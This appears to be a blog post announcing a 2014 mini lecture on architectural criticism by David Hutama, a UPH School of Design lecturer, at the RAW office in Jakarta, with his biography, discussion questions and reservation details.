here is the explanation which i wrote for his presentation in RAW summer pavilion : RAW collaborated with UPH School of Design to provide long life learning process between Architects, Lecturer, fresh graduates, or even people who has interest in Architecture by establishing lecture series. The first lecture is about Working Ideas by Critics in Architecture “He has a right to criticize, who has a heart to help.” ― Abraham Lincoln David Hutama will share lecture about working Ideas by critics in architecture. There were times when architecture changed because of paradigm breakdown just by nature of human, technology and civilisation. It established by success and failure. Critic which is a Greek derivation of the word κριτής (krités), meaning a person who offers reasoned judgment or analysis, value judgment, interpretation or observation. Critic has the position to move public opinion because of his or her credibility, reputation, depth of analysis. Critics become complex because there are various skill which is needed such as history, precedents, or understanding elements of architecture which then judge one work in process creating excellence in working architecture. We invited students and fresh graduates for our mini lecture series or brown bag. It’s all about sharing working ideas by critics in architecture. It’s all discussing the possible answer of : 1) What or How is the core of critics in architecture ? 2) What is needed for preparing good critics to evaluate architecture/ design performance ? 3) What or How is the to establish opinion in architecture given by the reality ? 4) Why the critic is important ? or what is the ethic to maintain critical opinion ? David Hutama is chair department of UPH School of Design. After receiving his bachelor degree from Parahyangan University in the year 2000, he went to Toyohashi University of Technology, Japan, to pursue his master degree in History and Theory of Architecture. In 2005 he join Department of Architecture in Universitas Pelita Harapan. David was part of the steering committee team for Jakarta Architecture Biennale 2009 and Art Director for Rubber Wood Architecture Exhibition in 2010. In 2012 he worked as the curator of Place.Making Exhibition, an exhibition of Department of Architecture UPH at Dia.Lo.Gue Exhibition, Kemang. Together with Avianti Armand and Robin Hartanto co-edited ‘Home: a Studio Talk’, published by UPH Press. He was curator of Indonesia Pavilion in Venice Biennale 2014 The discussion will be held at RAW Office at 9.30 am on 20th September 2014 . The introduction will be followed by open discussion among participants. Kindly make your reservation to tatyana@raw.co.id or ilham@raw.co.id as soon as possible (seats are limited for 30 people) Thanks and see you ! visit the link 
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